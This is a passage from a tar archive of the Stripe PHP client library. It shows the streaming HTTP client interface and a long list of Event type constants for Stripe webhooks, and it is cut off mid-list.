whose first element is raw request body, second * element is HTTP status code and third array of HTTP headers */ public function request($method, $absUrl, $headers, $params, $hasFile); } ���������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/HttpClient/StreamingClientInterface.php������������������������������������������0000644�����������������00000002071�14720677707�0020000 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\HttpClient; interface StreamingClientInterface { /** * @param 'delete'|'get'|'post' $method The HTTP method being used * @param string $absUrl The URL being requested, including domain and protocol * @param array $headers Headers to be used in the request (full strings, not KV pairs) * @param array $params KV pairs for parameters. Can be nested for arrays and hashes * @param bool $hasFile Whether or not $params references a file (via an @ prefix or * CURLFile) * @param callable $readBodyChunkCallable a function that will be called with chunks of bytes from the body if the request is successful * * @throws \Stripe\Exception\ApiConnectionException * @throws \Stripe\Exception\UnexpectedValueException * * @return array an array whose first element is raw request body, second * element is HTTP status code and third array of HTTP headers */ public function requestStream($method, $absUrl, $headers, $params, $hasFile, $readBodyChunkCallable); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Event.php������������������������������������������������������������������������0000644�����������������00000113335�14720677707�0012100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Events are our way of letting you know when something interesting happens in * your account. When an interesting event occurs, we create a new <code>Event</code> * object. For example, when a charge succeeds, we create a <code>charge.succeeded</code> * event, and when an invoice payment attempt fails, we create an * <code>invoice.payment_failed</code> event. Certain API requests might create multiple * events. For example, if you create a new subscription for a * customer, you receive both a <code>customer.subscription.created</code> event and a * <code>charge.succeeded</code> event. * * Events occur when the state of another API resource changes. The event's data * field embeds the resource's state at the time of the change. For * example, a <code>charge.succeeded</code> event contains a charge, and an * <code>invoice.payment_failed</code> event contains an invoice. * * As with other API resources, you can use endpoints to retrieve an * <a href="https://stripe.com/docs/api#retrieve_event">individual event</a> or a <a href="https://stripe.com/docs/api#list_events">list of events</a> * from the API. We also have a separate * <a href="http://en.wikipedia.org/wiki/Webhook">webhooks</a> system for sending the * <code>Event</code> objects directly to an endpoint on your server. You can manage * webhooks in your * <a href="https://dashboard.stripe.com/account/webhooks">account settings</a>. Learn how * to <a href="https://docs.stripe.com/webhooks">listen for events</a> * so that your integration can automatically trigger reactions. * * When using <a href="https://docs.stripe.com/connect">Connect</a>, you can also receive event notifications * that occur in connected accounts. For these events, there's an * additional <code>account</code> attribute in the received <code>Event</code> object. * * We only guarantee access to events through the <a href="https://stripe.com/docs/api#retrieve_event">Retrieve Event API</a> * for 30 days. * * This class includes constants for the possible string representations of * event types. See https://stripe.com/docs/api#event_types for more details. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $account The connected account that originates the event. * @property null|string $api_version The Stripe API version used to render <code>data</code>. This property is populated only for events on or after October 31, 2014. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property \Stripe\StripeObject $data * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property int $pending_webhooks Number of webhooks that haven't been successfully delivered (for example, to return a 20x response) to the URLs you specify. * @property null|\Stripe\StripeObject $request Information on the API request that triggers the event. * @property string $type Description of the event (for example, <code>invoice.created</code> or <code>charge.refunded</code>). */ class Event extends ApiResource { const OBJECT_NAME = 'event'; const ACCOUNT_APPLICATION_AUTHORIZED = 'account.application.authorized'; const ACCOUNT_APPLICATION_DEAUTHORIZED = 'account.application.deauthorized'; const ACCOUNT_EXTERNAL_ACCOUNT_CREATED = 'account.external_account.created'; const ACCOUNT_EXTERNAL_ACCOUNT_DELETED = 'account.external_account.deleted'; const ACCOUNT_EXTERNAL_ACCOUNT_UPDATED = 'account.external_account.updated'; const ACCOUNT_UPDATED = 'account.updated'; const APPLICATION_FEE_CREATED = 'application_fee.created'; const APPLICATION_FEE_REFUNDED = 'application_fee.refunded'; const APPLICATION_FEE_REFUND_UPDATED = 'application_fee.refund.updated'; const BALANCE_AVAILABLE = 'balance.available'; const BILLING_PORTAL_CONFIGURATION_CREATED = 'billing_portal.configuration.created'; const BILLING_PORTAL_CONFIGURATION_UPDATED = 'billing_portal.configuration.updated'; const BILLING_PORTAL_SESSION_CREATED = 'billing_portal.session.created'; const CAPABILITY_UPDATED = 'capability.updated'; const CASH_BALANCE_FUNDS_AVAILABLE = 'cash_balance.funds_available'; const CHARGE_CAPTURED = 'charge.captured'; const CHARGE_DISPUTE_CLOSED = 'charge.dispute.closed'; const CHARGE_DISPUTE_CREATED = 'charge.dispute.created'; const CHARGE_DISPUTE_FUNDS_REINSTATED = 'charge.dispute.funds_reinstated'; const CHARGE_DISPUTE_FUNDS_WITHDRAWN = 'charge.dispute.funds_withdrawn'; const CHARGE_DISPUTE_UPDATED = 'charge.dispute.updated'; const CHARGE_EXPIRED = 'charge.expired'; const CHARGE_FAILED = 'charge.failed'; const CHARGE_PENDING = 'charge.pending'; const CHARGE_REFUNDED = 'charge.refunded'; const CHARGE_REFUND_UPDATED = 'charge.refund.updated'; const CHARGE_SUCCEEDED = 'charge.succeeded'; const CHARGE_UPDATED = 'charge.updated'; const CHECKOUT_SESSION_ASYNC_PAYMENT_FAILED = 'checkout.session.async_payment_failed'; const CHECKOUT_SESSION_ASYNC_PAYMENT_SUCCEEDED = 'checkout.session.async_payment_succeeded'; const CHECKOUT_SESSION_COMPLETED = 'checkout.session.completed'; const CHECKOUT_SESSION_EXPIRED = 'checkout.session.expired'; const CLIMATE_ORDER_CANCELED = 'climate.order.canceled'; const CLIMATE_ORDER_CREATED = 'climate.order.created'; const CLIMATE_ORDER_DELAYED = 'climate.order.delayed'; const CLIMATE_ORDER_DELIVERED = 'climate.order.delivered'; const CLIMATE_ORDER_PRODUCT_SUBSTITUTED = 'climate.order.product_substituted'; const CLIMATE_PRODUCT_CREATED = 'climate.product.created'; const CLIMATE_PRODUCT_PRICING_UPDATED = 'climate.product.pricing_updated'; const COUPON_CREATED = 'coupon.created'; const COUPON_DELETED = 'coupon.deleted'; const COUPON_UPDATED = 'coupon.updated'; const CREDIT_NOTE_CREATED = 'credit_note.created'; const CREDIT_NOTE_UPDATED = 'credit_note.updated'; const CREDIT_NOTE_VOIDED = 'credit_note.voided'; const CUSTOMER_CASH_BALANCE_TRANSACTION_CREATED = 'customer_cash_balance_transaction.created'; const CUSTOMER_CREATED = 'customer.created'; const CUSTOMER_DELETED = 'customer.deleted'; const CUSTOMER_DISCOUNT_CREATED = 'customer.discount.created'; const CUSTOMER_DISCOUNT_DELETED = 'customer.discount.deleted'; const CUSTOMER_DISCOUNT_UPDATED = 'customer.discount.updated'; const CUSTOMER_SOURCE_CREATED = 'customer.source.created'; const CUSTOMER_SOURCE_DELETED = 'customer.source.deleted'; const CUSTOMER_SOURCE_EXPIRING = 'customer.source.expiring'; const CUSTOMER_SOURCE_UPDATED = 'customer.source.updated'; const CUSTOMER_SUBSCRIPTION_CREATED = 'customer.subscription.created'; const CUSTOMER_SUBSCRIPTION_DELETED = 'customer.subscription.deleted'; const CUSTOMER_SUBSCRIPTION_PAUSED = 'customer.subscription.paused'; const CUSTOMER_SUBSCRIPTION_PENDING_UPDATE_APPLIED = 'customer.subscription.pending_update_applied'; const CUSTOMER_SUBSCRIPTION_PENDING_UPDATE_EXPIRED = 'customer.subscription.pending_update_expired'; const CUSTOMER_SUBSCRIPTION_RESUMED = 'customer.subscription.resumed'; const CUSTOMER_SUBSCRIPTION_TRIAL_WILL_END = 'customer.subscription.trial_will_end'; const CUSTOMER_SUBSCRIPTION_UPDATED = 'customer.subscription.updated'; const CUSTOMER_TAX_ID_CREATED = 'customer.tax_id.created'; const CUSTOMER_TAX_ID_DELETED = 'customer.tax_id.deleted'; const CUSTOMER_TAX_ID_UPDATED = 'customer.tax_id.updated'; const CUSTOMER_UPDATED = 'customer.updated'; const ENTITLEMENTS_ACTIVE_ENTITLEMENT_SUMMARY_UPDATED = 'entitlements.active_entitlement_summary.updated'; const FILE_CREATED = 'file.created'; const FINANCIAL_CONNECTIONS_ACCOUNT_CREATED = 'financial_connections.account.created'; const FINANCIAL_CONNECTIONS_ACCOUNT_DEACTIVATED = 'financial_connections.account.deactivated'; const FINANCIAL_CONNECTIONS_ACCOUNT_DISCONNECTED = 'financial_connections.account.disconnected'; const FINANCIAL_CONNECTIONS_ACCOUNT_REACTIVATED = 'financial_connections.account.reactivated'; const FINANCIAL_CONNECTIONS_ACCOUNT_REFRESHED_BALANCE = 'financial_connections.account.refreshed_balance'; const FINANCIAL_CONNECTIONS_ACCOUNT_REFRESHED_OWNERSHIP = 'financial_connections.account.refreshed_ownership'; const FINANCIAL_CONNECTIONS_ACCOUNT_REFRESHED_TRANSACTIONS = 'financial_connections.account.refreshed_transactions'; const IDENTITY_VERIFICATION_SESSION_CANCELED = 'identity.verification_session.canceled'; const IDENTITY_VERIFICATION_SESSION_CREATED = 'identity.verification_session.created'; const IDENTITY_VERIFICATION_SESSION_PROCESSING = 'identity.verification_session.processing'; const IDENTITY_VERIFICATION_SESSION_REDACTED = 'identity.verification_session.redacted'; const IDENTITY_VERIFICATION_SESSION_REQUIRES_INPUT = 'identity.verification_session.requires_input'; const IDENTITY_VERIFICATION_SESSION_VERIFIED = 'identity.verification_session.verified'; const INVOICEITEM_CREATED = 'invoiceitem.created'; const INVOICEITEM_DELETED = 'invoiceitem.deleted'; const INVOICE_CREATED = 'invoice.created'; const INVOICE_DELETED = 'invoice.deleted'; const INVOICE_FINALIZATION_FAILED = 'invoice.finalization_failed'; const INVOICE_FINALIZED = 'invoice.finalized'; const INVOICE_MARKED_UNCOLLECTIBLE = 'invoice.marked_uncollectible'; const INVOICE_OVERDUE = 'invoice.overdue'; const INVOICE_PAID = 'invoice.paid'; const INVOICE_PAYMENT_ACTION_REQUIRED = 'invoice.payment_action_required'; const INVOICE_PAYMENT_FAILED = 'invoice.payment_failed'; const INVOICE_PAYMENT_SUCCEEDED = 'invoice.payment_succeeded'; const INVOICE_SENT = 'invoice.sent'; const INVOICE_UPCOMING = 'invoice.upcoming'; const INVOICE_UPDATED = 'invoice.updated'; const INVOICE_VOIDED = 'invoice.voided'; const INVOICE_WILL_BE_DUE = 'invoice.will_be_due'; const ISSUING_AUTHORIZATION_CREATED = 'issuing_authorization.created'; const ISSUING_AUTHORIZATION_REQUEST = 'issuing_authorization.request'; const ISSUING_AUTHORIZATION_UPDATED = 'issuing_authorization.updated'; const ISSUING_CARDHOLDER_CREATED = 'issuing_cardholder.created'; const ISSUING_CARDHOLDER_UPDATED = 'issuing_cardholder.updated'; const ISSUING_CARD_CREATED = 'issuing_card.created'; const ISSUING_CARD_UPDATED = 'issuing_card.updated'; const ISSUING_DISPUTE_CLOSED = 'issuing_dispute.closed'; const ISSUING_DISPUTE_CREATED = 'issuing_dispute.created'; const ISSUING_DISPUTE_FUNDS_REINSTATED = 'issuing_dispute.funds_reinstated'; const ISSUING_DISPUTE_FUNDS_RESCINDED = 'issuing_dispute.funds_rescinded'; const ISSUING_DISPUTE_SUBMITTED = 'issuing_dispute.submitted'; const ISSUING_DISPUTE_UPDATED = 'issuing_dispute.updated'; const ISSUING_PERSONALIZATION_DESIGN_ACTIVATED = 'issuing_personalization_design.activated'; const ISSUING_PERSONALIZATION_DESIGN_DEACTIVATED = 'issuing_personalization_design.deactivated'; const ISSUING_PERSONALIZATION_DESIGN_REJECTED = 'issuing_personalization_design.rejected'; const ISSUING_PERSONALIZATION_DESIGN_UPDATED = 'issuing_personalization_design.updated'; const ISSUING_TOKEN_CREATED = 'issuing_token.created'; const ISSUING_TOKEN_UPDATED = 'issuing_token.updated'; const ISSUING_TRANSACTION_CREATED = 'issuing_transaction.created'; const ISSUING_TRANSACTION_UPDATED = 'issuing_transaction.updated'; const MANDATE_UPDATED = 'mandate.updated'; const PAYMENT_INTENT_AMOUNT_CAPTURABLE_UPDATED = 'payment_intent.amount_capturable_updated'; const PAYMENT_INTENT_CANCELED = 'payment_intent.canceled'; const PAYMENT_INTENT_CREATED = 'payment_intent.created'; const PAYMENT_INTENT_PARTIALLY_FUNDED = 'payment_intent.partially_funded'; const PAYMENT_INTENT_PAYMENT_FAILED = 'payment_intent.payment_failed'; const PAYMENT_INTENT_PROCESSING = 'payment_intent.processing'; const PAYMENT_INTENT_REQUIRES_ACTION = 'payment_intent.requires_action'; const PAYMENT_INTENT_SUCCEEDED = 'payment_intent.succeeded'; const PAYMENT_LINK_CREATED = 'payment_link.created'; const PAYMENT_LINK_UPDATED = 'payment_link.updated'; const PAYMENT_METHOD_ATTACHED = 'payment_method.attached'; const PAYMENT_METHOD_AUTOMATICALLY_UPDATED = 'payment_method.automatically_updated'; const PAYMENT_METHOD_DETACHED = 'payment_method.detached'; const PAYMENT_METHOD_UPDATED = 'payment_method.updated'; const PAYOUT_CANCELED = 'payout.canceled'; const PAYOUT_CREATED = 'payout.created'; const PAYOUT_FAILED = 'payout.failed'; const PAYOUT_PAID = 'payout.paid'; const PAYOUT_RECONCILIATION_COMPLETED = 'payout.reconciliation_completed'; const PAYOUT_UPDATED = 'payout.updated'; const PERSON_CREATED = 'person.created'; const PERSON_DELETED = 'person.deleted'; const PERSON_UPDATED = 'person.updated'; const PLAN_CREATED = 'plan.created'; const PLAN_DELETED = 'plan.deleted'; const PLAN_UPDATED = 'plan.updated'; const PRICE_CREATED = 'price.created'; const PRICE_DELETED = 'price.deleted'; const PRICE_UPDATED = 'price.updated'; const PRODUCT_CREATED = 'product.created'; const PRODUCT_DELETED = 'product.deleted'; const PRODUCT_UPDATED = 'product.updated'; const PROMOTION_CODE_CREATED = 'promotion_code.created'; const PROMOTION_CODE_UPDATED = 'promotion_code.updated'; const QUOTE_ACCEPTED = 'quote.accepted'; const QUOTE_CANCELED = 'quote.canceled'; const QUOTE_CREATED = 'quote.created'; const QUOTE_FINALIZED = 'quote.finalized'; const RADAR_EARLY_FRAUD_WARNING_CREATED = 'radar.early_fraud_warning.created'; const RADAR_EARLY_FRAUD_WARNING_UPDATED = 'radar.early_fraud_warning.updated'; const REFUND_CREATED = 'refund.created'; const REFUND_UPDATED = 'refund.updated'; const REPORTING_REPORT_RUN_FAILED = 'reporting.report_run.failed'; const REPORTING_REPORT_RUN_SUCCEEDED = 'reporting.report_run.succeeded'; const REPORTING_REPORT_TYPE_UPDATED = 'reporting.report_type.updated'; const REVIEW_CLOSED = 'review.closed'; const REVIEW_OPENED = 'review.opened'; const SETUP_INTENT_CANCELED = 'setup_intent.canceled'; const SETUP_INTENT_CREATED = 'setup_intent.created'; const SETUP_INTENT_REQUIRES_ACTION = 'setup_intent.requires_action'; const SETUP_INTENT_SETUP_FAILED = 'setup_intent.setup_failed'; const SETUP_INTENT_SUCCEEDED = 'setup_intent.succeeded'; const SIGMA_SCHEDULED_QUERY_RUN_CREATED = 'sigma.scheduled_query_run.created'; const SOURCE_CANCELED = 'source.canceled'; const SOURCE_CHARGEABLE = 'source.chargeable'; const SOURCE_FAILED = 'source.failed'; const SOURCE_MANDATE_NOTIFICATION = 'source.mandate_notification'; const SOURCE_REFUND_ATTRIBUTES_REQUIRED = 'source.refund_attributes_required'; const SOURCE_TRANSACTION_CREATED = 'source.transaction.created'; const SOURCE_TRANSACTION_UPDATED = 'source.transaction.updated'; const SUBSCRIPTION_SCHEDULE_ABORTED = 'subscription_schedule.aborted'; const SUBSCRIPTION_SCHEDULE_CANCELED = 'subscription_schedule.canceled'; const SUBSCRIPTION_SCHEDULE_COMPLETED = 'subscription_schedule.completed'; const SUBSCRIPTION_SCHEDULE_CREATED = 'subscription_schedule.created'; const SUBSCRIPTION_SCHEDULE_EXPIRING = 'subscription_schedule.expiring'; const SUBSCRIPTION_SCHEDULE_RELEASED = 'subscription_schedule.released'; const SUBSCRIPTION_SCHEDULE_UPDATED = 'subscription_schedule.updated'; const TAX_RATE_CREATED = 'tax_rate.created'; const TAX_RATE_UPDATED = 'tax_rate.updated'; const TAX_SETTINGS_UPDATED = 'tax.settings.updated'; const TERMINAL_READER_ACTION_FAILED = 'terminal.reader.action_failed'; const TERMINAL_READER_ACTION_SUCCEEDED = 'terminal.reader.action_succeeded'; const TEST_HELPERS_TEST_CLOCK_ADVANCING = 'test_helpers.test_clock.advancing'; const TEST_HELPERS_TEST_CLOCK_CREATED = 'test_helpers.test_clock.created'; const TEST_HELPERS_TEST_CLOCK_DELETED = 'test_helpers.test_clock.deleted'; const TEST_HELPERS_TEST_CLOCK_INTERNAL_FAILURE = 'test_helpers.test_clock.internal_failure'; const TEST_HELPERS_TEST_CLOCK_READY = 'test_helpers.test_clock.ready'; const TOPUP_CANCELED = 'topup.canceled'; const TOPUP_CREATED = 'topup.created'; const TOPUP_FAILED = 'topup.failed'; const TOPUP_REVERSED = 'topup.reversed'; const TOPUP_SUCCEEDED = 'topup.succeeded'; const TRANSFER_CREATED = 'transfer.created'; const TRANSFER_REVERSED = 'transfer.reversed'; const TRANSFER_UPDATED = 'transfer.updated'; const TREASURY_CREDIT_REVERSAL_CREATED = 'treasury.credit_reversal.created'; const TREASURY_CREDIT_REVERSAL_POSTED = 'treasury.credit_reversal.posted'; const TREASURY_DEBIT_REVERSAL_COMPLETED = 'treasury.debit_reversal.completed'; const TREASURY_DEBIT_REVERSAL_CREATED = 'treasury.debit_reversal.created'; const TREASURY_DEBIT_REVERSAL_INITIAL_CREDIT_GRANTED = 'treasury.debit_reversal.initial_credit_granted'; const TREASURY_FINANCIAL_ACCOUNT_CLOSED = 'treasury.financial_account.closed'; const TREASURY_FINANCIAL_ACCOUNT_CREATED = 'treasury.financial_account.created'; const TREASURY_FINANCIAL_ACCOUNT_FEATURES_STATUS_UPDATED = 'treasury.financial_account.features_status_updated'; const TREASURY_INBOUND_TRANSFER_CANCELED = 'treasury.inbound_transfer.canceled'; const TREASURY_INBOUND_TRANSFER_CREATED = 'treasury.inbound_transfer.created'; const TREASURY_INBOUND_TRANSFER_FAILED = 'treasury.inbound_transfer.failed'; const TREASURY_INBOUND_TRANSFER_SUCCEEDED = 'treasury.inbound_transfer.succeeded'; const TREASURY_OUTBOUND_PAYMENT_CANCELED = 'treasury.outbound_payment.canceled'; const TREASURY_OUTBOUND_PAYMENT_CREATED = 'treasury.outbound_payment.created'; const TREASURY_OUTBOUND_PAYMENT_EXPECTED_ARRIVAL_DATE_UPDATED = 'treasury.outbound_payment.expected_arrival_date_updated'; const TREASURY_OUTBOUND_PAYMENT_FAILED = 'treasury.outbound_payment.failed'; const TREASURY_OUTBOUND_PAYMENT_POSTED = 'treasury.outbound_payment.posted'; const TREASURY_OUTBOUND_PAYMENT_RETURNED = 'treasury.outbound_payment.returned'; const TREASURY_OUTBOUND_PAYMENT_TRACKING_DETAILS_UPDATED = 'treasury.outbound_payment.tracking_details_updated'; const TREASURY_OUTBOUND_TRANSFER_CANCELED = 'treasury.outbound_transfer.canceled'; const TREASURY_OUTBOUND_TRANSFER_CREATED = 'treasury.outbound_transfer.created'; const TREASURY_OUTBOUND_TRANSFER_EXPECTED_ARRIVAL_DATE_UPDATED = 'treasury.outbound_transfer.expected_arrival_date_updated'; const TREASURY_OUTBOUND_TRANSFER_FAILED = 'treasury.outbound_transfer.failed'; const TREASURY_OUTBOUND_TRANSFER_POSTED = 'treasury.outbound_transfer.posted'; const TREASURY_OUTBOUND_TRANSFER_RETURNED = 'treasury.outbound_transfer.returned'; const TREASURY_OUTBOUND_TRANSFER_TRACKING_DETAILS_UPDATED = 'treasury.outbound_transfer.tracking_details_updated'; const TREASURY_RECEIVED_CREDIT_CREATED = 'treasury.received_credit.created'; const TREASURY_RECEIVED_CREDIT_FAILED = 'treasury.received_credit.failed'; const TREASURY_RECEIVED_CREDIT_SUCCEEDED = 'treasury.received_credit.succeeded'; const TREASURY_RECEIVED_DEBIT_CREATED = 'treasury.received_debit.created'; const TYPE_ACCOUNT_APPLICATION_AUTHORIZED = 'account.application.authorized'; const TYPE_ACCOUNT_APPLICATION_DEAUTHORIZED = 'account.application.deauthorized'; const TYPE_ACCOUNT_EXTERNAL_ACCOUNT_CREATED = 'account.external_account.created'; const TYPE_ACCOUNT_EXTERNAL_ACCOUNT_DELETED = 'account.external_account.deleted'; const TYPE_ACCOUNT_EXTERNAL_ACCOUNT_UPDATED = 'account.external_account.updated'; const TYPE_ACCOUNT_UPDATED = 'account.updated'; const TYPE_APPLICATION_FEE_CREATED = 'application_fee.created'; const TYPE_APPLICATION_FEE_REFUNDED = 'application_fee.refunded'; const TYPE_APPLICATION_FEE_REFUND_UPDATED = 'application_fee.refund.updated'; const TYPE_BALANCE_AVAILABLE = 'balance.available'; const TYPE_BILLING_PORTAL_CONFIGURATION_CREATED = 'billing_portal.configuration.created'; const TYPE_BILLING_PORTAL_CONFIGURATION_UPDATED = 'billing_portal.configuration.updated'; const TYPE_BILLING_PORTAL_SESSION_CREATED = 'billing_portal.session.created'; const TYPE_CAPABILITY_UPDATED = 'capability.updated'; const TYPE_CASH_BALANCE_FUNDS_AVAILABLE = 'cash_balance.funds_available'; const TYPE_CHARGE_CAPTURED = 'charge.captured'; const TYPE_CHARGE_DISPUTE_CLOSED = 'charge.dispute.closed'; const TYPE_CHARGE_DISPUTE_CREATED = 'charge.dispute.created'; const TYPE_CHARGE_DISPUTE_FUNDS_REINSTATED = 'charge.dispute.funds_reinstated'; const TYPE_CHARGE_DISPUTE_FUNDS_WITHDRAWN = 'charge.dispute.funds_withdrawn'; const TYPE_CHARGE_DISPUTE_UPDATED = 'charge.dispute.updated'; const TYPE_CHARGE_EXPIRED = 'charge.expired'; const TYPE_CHARGE_FAILED = 'charge.failed'; const TYPE_CHARGE_PENDING = 'charge.pending'; const TYPE_CHARGE_REFUNDED = 'charge.refunded'; const TYPE_CHARGE_REFUND_UPDATED = 'charge.refund.updated'; const TYPE_CHARGE_SUCCEEDED = 'charge.succeeded'; const TYPE_CHARGE_UPDATED = 'charge.updated'; const TYPE_CHECKOUT_SESSION_ASYNC_PAYMENT_FAILED = 'checkout.session.async_payment_failed'; const TYPE_CHECKOUT_SESSION_ASYNC_PAYMENT_SUCCEEDED = 'checkout.session.async_payment_succeeded'; const TYPE_CHECKOUT_SESSION_COMPLETED = 'checkout.session.completed'; const TYPE_CHECKOUT_SESSION_EXPIRED = 'checkout.session.expired'; const TYPE_CLIMATE_ORDER_CANCELED = 'climate.order.canceled'; const TYPE_CLIMATE_ORDER_CREATED = 'climate.order.created'; const TYPE_CLIMATE_ORDER_DELAYED = 'climate.order.delayed'; const TYPE_CLIMATE_ORDER_DELIVERED = 'climate.order.delivered'; const TYPE_CLIMATE_ORDER_PRODUCT_SUBSTITUTED = 'climate.order.product_substituted'; const TYPE_CLIMATE_PRODUCT_CREATED = 'climate.product.created'; const TYPE_CLIMATE_PRODUCT_PRICING_UPDATED = 'climate.product.pricing_updated'; const TYPE_COUPON_CREATED = 'coupon.created'; const TYPE_COUPON_DELETED = 'coupon.deleted'; const TYPE_COUPON_UPDATED = 'coupon.updated'; const TYPE_CREDIT_NOTE_CREATED = 'credit_note.created'; const TYPE_CREDIT_NOTE_UPDATED = 'credit_note.updated'; const TYPE_CREDIT_NOTE_VOIDED = 'credit_note.voided'; const TYPE_CUSTOMER_CASH_BALANCE_TRANSACTION_CREATED = 'customer_cash_balance_transaction.created'; const TYPE_CUSTOMER_CREATED = 'customer.created'; const TYPE_CUSTOMER_DELETED = 'customer.deleted'; const TYPE_CUSTOMER_DISCOUNT_CREATED = 'customer.discount.created'; const TYPE_CUSTOMER_DISCOUNT_DELETED = 'customer.discount.deleted'; const TYPE_CUSTOMER_DISCOUNT_UPDATED = 'customer.discount.updated'; const TYPE_CUSTOMER_SOURCE_CREATED = 'customer.source.created'; const TYPE_CUSTOMER_SOURCE_DELETED = 'customer.source.deleted'; const TYPE_CUSTOMER_SOURCE_EXPIRING = 'customer.source.expiring'; const TYPE_CUSTOMER_SOURCE_UPDATED = 'customer.source.updated'; const TYPE_CUSTOMER_SUBSCRIPTION_CREATED = 'customer.subscription.created'; const TYPE_CUSTOMER_SUBSCRIPTION_DELETED = 'customer.subscription.deleted'; const TYPE_CUSTOMER_SUBSCRIPTION_PAUSED = 'customer.subscription.paused'; const TYPE_CUSTOMER_SUBSCRIPTION_PENDING_UPDATE_APPLIED = 'customer.subscription.pending_update_applied'; const TYPE_CUSTOMER_SUBSCRIPTION_PENDING_UPDATE_EXPIRED = 'customer.subscription.pending_update_expired'; const TYPE_CUSTOMER_SUBSCRIPTION_RESUMED = 'customer.subscription.resumed'; const TYPE_CUSTOMER_SUBSCRIPTION_TRIAL_WILL_END = 'customer.subscription.trial_will_end'; const TYPE_CUSTOMER_SUBSCRIPTION_UPDATED = 'customer.subscription.updated'; const TYPE_CUSTOMER_TAX_ID_CREATED = 'customer.tax_id.created'; const TYPE_CUSTOMER_TAX_ID_DELETED = 'customer.tax_id.deleted'; const TYPE_CUSTOMER_TAX_ID_UPDATED = 'customer.tax_id.updated'; const TYPE_CUSTOMER_UPDATED = 'customer.updated'; const TYPE_ENTITLEMENTS_ACTIVE_ENTITLEMENT_SUMMARY_UPDATED = 'entitlements.active_entitlement_summary.updated'; const TYPE_FILE_CREATED = 'file.created'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_CREATED = 'financial_connections.account.created'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_DEACTIVATED = 'financial_connections.account.deactivated'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_DISCONNECTED = 'financial_connections.account.disconnected'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_REACTIVATED = 'financial_connections.account.reactivated'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_REFRESHED_BALANCE = 'financial_connections.account.refreshed_balance'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_REFRESHED_OWNERSHIP = 'financial_connections.account.refreshed_ownership'; const TYPE_FINANCIAL_CONNECTIONS_ACCOUNT_REFRESHED_TRANSACTIONS = 'financial_connections.account.refreshed_transactions'; const TYPE_IDENTITY_VERIFICATION_SESSION_CANCELED = 'identity.verification_session.canceled'; const TYPE_IDENTITY_VERIFICATION_SESSION_CREATED = 'identity.verification_session.created'; const TYPE_IDENTITY_VERIFICATION_SESSION_PROCESSING = 'identity.verification_session.processing'; const TYPE_IDENTITY_VERIFICATION_SESSION_REDACTED = 'identity.verification_session.redacted'; const TYPE_IDENTITY_VERIFICATION_SESSION_REQUIRES_INPUT = 'identity.verification_session.requires_input'; const TYPE_IDENTITY_VERIFICATION_SESSION_VERIFIED = 'identity.verification_session.verified'; const TYPE_INVOICEITEM_CREATED = 'invoiceitem.created'; const TYPE_INVOICEITEM_DELETED = 'invoiceitem.deleted'; const TYPE_INVOICE_CREATED = 'invoice.created'; const TYPE_INVOICE_DELETED = 'invoice.deleted'; const TYPE_INVOICE_FINALIZATION_FAILED = 'invoice.finalization_failed'; const TYPE_INVOICE_FINALIZED = 'invoice.finalized'; const TYPE_INVOICE_MARKED_UNCOLLECTIBLE = 'invoice.marked_uncollectible'; const TYPE_INVOICE_OVERDUE = 'invoice.overdue'; const TYPE_INVOICE_PAID = 'invoice.paid'; const TYPE_INVOICE_PAYMENT_ACTION_REQUIRED = 'invoice.payment_action_required'; const TYPE_INVOICE_PAYMENT_FAILED = 'invoice.payment_failed'; const TYPE_INVOICE_PAYMENT_SUCCEEDED = 'invoice.payment_succeeded'; const TYPE_INVOICE_SENT = 'invoice.sent'; const TYPE_INVOICE_UPCOMING = 'invoice.upcoming'; const TYPE_INVOICE_UPDATED = 'invoice.updated'; const TYPE_INVOICE_VOIDED = 'invoice.voided'; const TYPE_INVOICE_WILL_BE_DUE = 'invoice.will_be_due'; const TYPE_ISSUING_AUTHORIZATION_CREATED = 'issuing_authorization.created'; const TYPE_ISSUING_AUTHORIZATION_REQUEST = 'issuing_authorization.request'; const TYPE_ISSUING_AUTHORIZATION_UPDATED = 'issuing_authorization.updated'; const TYPE_ISSUING_CARDHOLDER_CREATED = 'issuing_cardholder.created'; const TYPE_ISSUING_CARDHOLDER_UPDATED = 'issuing_cardholder.updated'; const TYPE_ISSUING_CARD_CREATED = 'issuing_card.created'; const TYPE_ISSUING_CARD_UPDATED = 'issuing_card.updated'; const TYPE_ISSUING_DISPUTE_CLOSED = 'issuing_dispute.closed'; const TYPE_ISSUING_DISPUTE_CREATED = 'issuing_dispute.created'; const TYPE_ISSUING_DISPUTE_FUNDS_REINSTATED = 'issuing_dispute.funds_reinstated'; const TYPE_ISSUING_DISPUTE_FUNDS_RESCINDED = 'issuing_dispute.funds_rescinded'; const TYPE_ISSUING_DISPUTE_SUBMITTED = 'issuing_dispute.submitted'; const TYPE_ISSUING_DISPUTE_UPDATED = 'issuing_dispute.updated'; const TYPE_ISSUING_PERSONALIZATION_DESIGN_ACTIVATED = 'issuing_personalization_design.activated'; const TYPE_ISSUING_PERSONALIZATION_DESIGN_DEACTIVATED = 'issuing_personalization_design.deactivated'; const TYPE_ISSUING_PERSONALIZATION_DESIGN_REJECTED = 'issuing_personalization_design.rejected'; const TYPE_ISSUING_PERSONALIZATION_DESIGN_UPDATED = 'issuing_personalization_design.updated'; const TYPE_ISSUING_TOKEN_CREATED = 'issuing_token.created'; const TYPE_ISSUING_TOKEN_UPDATED = 'issuing_token.updated'; const TYPE_ISSUING_TRANSACTION_CREATED = 'issuing_transaction.created'; const TYPE_ISSUING_TRANSACTION_UPDATED = 'issuing_transaction.updated'; const TYPE_MANDATE_UPDATED = 'mandate.updated'; const 